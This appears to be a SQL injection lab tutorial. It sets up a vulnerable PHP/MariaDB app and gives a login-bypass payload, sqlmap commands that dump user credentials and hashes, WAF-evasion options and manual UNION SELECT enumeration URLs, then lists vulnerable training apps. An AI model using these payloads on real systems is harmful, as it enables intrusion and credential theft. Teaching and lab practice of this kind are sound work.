Automated and Manual SQL Injection
Automated and Manual SQL Injection
Install apache2
sudo apt install apache2
sudo chown www-data:www-data /var/www/html/ -R
Install php
sudo apt install php-bcmath php-curl php-imagick php-gd php-mbstring php-xml php-zip sudo apt
install php php-fpm
sudo apt install php-mysql php-gd
sudo apt install php libapache2-mod-php sudo systemctl restart apache2
Install MariaDB
sudo apt install mariadb-server
sudo mysql -h localhost -u root -p
create database dbsistema character set utf8; create user server@'localhost';
set password for 'server'@'localhost' = PASSWORD('juakers789'); grant all on dbsistema.* to
'server'@'localhost';
mysql -u server -p dbsistema < dbsistema.sql
flush privileges;
https://emn178.github.io/online-tools/sha256.html
UPDATE usuario SET
clave='8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918' WHERE
idusuario=1;
Requirement
## Kali Linux: ##
1 - Firefox
2 - Burp Suite Comunnity
## Plugins Firefox: ##
https://addons.mozilla.org/es/firefox/addon/foxyproxy-standard/
https://addons.mozilla.org/es/firefox/addon/hacktools/
https://addons.mozilla.org/es/firefox/addon/wappalyzer/
https://addons.mozilla.org/es/firefox/addon/http-header-live/
https://addons.mozilla.org/es/firefox/addon/retire-js/
SQL injection
Fuzzing SQLi Login Bypass:
https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/exploit/
Auth_Bypass.txt
User: ' or 1=1 limit 1 -- -+ Pass: ' or 1=1 limit 1 -- -+
Dump the records of the columns charge, email, login, key of the user table of the dbsistema database
sqlmap -u 'https://d83c-38-43-159-183.sa.ngrok.io/sistema/ajax/usuario.php?op=verifica --method
POST -- data="logina=sadsadasadsa&clavea=asdsada" -D dbsistema -T usuario -C
cargo,email,login,clave –dump
Found 2 HASH en raw-SHA256:
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
c5ff177a86e82441f93e3772da700d5f6838157fa1bfdc0bb689d7f7e55e7aba
WAF Evasion
View installed scripts ls /usr/share/sqlmap/tamper
sqlmap -u'http://127.0.0.1/xvwa/vulnerabilities/sqli/' --data='item=&search=7' -p 'search' --random- agent --
timeout=3 -v 1 --threads=10 --dbms=mysql --level=5 --risk=3 -v 3 --no-cast --dbs – tamper='htmlencode'
Search by columns
sqlmap -u 'https://www.tuwebsito.com/?search=aea' --random-agent --timeout=3 -v 1 --threads=10
--dbms=mysql --level=5 --risk=3 -v 3 --hex -C nombre –search
SQL Manual
Specifically, it's trying to retrieve the version of the database and the name of the current database being used.
http://192.168.30.122:5432/post.php?post=-
1+UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--
I's performing a UNION SELECT query. However, in this case, it's simply selecting the first ten numbers (1
through 10) as columns.
http://192.168.30.122:5432/post.php?post=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10+--
is trying to enumerate tables in the current database by querying the information_schema.tables table. It's
selecting the name of the first table in the current database.
http://192.168.30.122:5432/post.php?post=- 1+UNION+SELECT+1,2,table_name,4,5,6,7,8,9,10%20from
%20information_schema.tables
%20where%20table_schema=database()%20limit%200,1
t's selecting the name of the fourth table in the current database. http://192.168.30.122:5432/post.php?
post=- 1+UNION+SELECT+1,2,table_name,4,5,6,7,8,9,10%20from
%20information_schema.tables
%20where%20table_schema=database()%20limit%203,1
This URL is trying to retrieve a concatenated list of all table names in the current database
http://192.168.30.122:5432/post.php?post=-
1+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8,9,10%20from
%20information_schema.tables%20where%20table_schema=database()
Is trying to retrieve a concatenated list of all column names in the table named "users".
http://192.168.30.122:5432/post.php?post=-
1+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8,9,10%20from
%20information_schema.columns%20where%20table_name=%27users%27
is trying to retrieve information about user privileges from the information_schema.user_privileges table.
http://192.168.30.122:5432/post.php?post=-1+UNION+ALL+SELECT+1,2,concat(grantee,%27--
%27,%20privilege_type,%27--%27,%20is_grantable),4,5,6,7,8,9,10%20FROM
%20information_schema.user_privileges#
Vulnerable Web Applications:
https://github.com/infosecAK/defenselessV1
https://github.com/s4n7h0/xvwa
https://github.com/anil-yelken/Vulnerable-Soap-Service
https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
https://github.com/appsecco/dvna
https://github.com/snoopysecurity/dvws-node
https://github.com/appsecco/dvja
https://github.com/WebGoat/WebGoat
https://github.com/juice-shop/juice-shop
https://github.com/appelsiini/vulnerable-laravel-app
https://github.com/appsecco/dvcsharp-api
https://github.com/srini0x00/dvta
https://github.com/OWASP/DVSA
https://github.com/cider-security-research/cicd-goat
https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0
https://github.com/ine-labs/AzureGoat
https://github.com/ine-labs/AWSGoat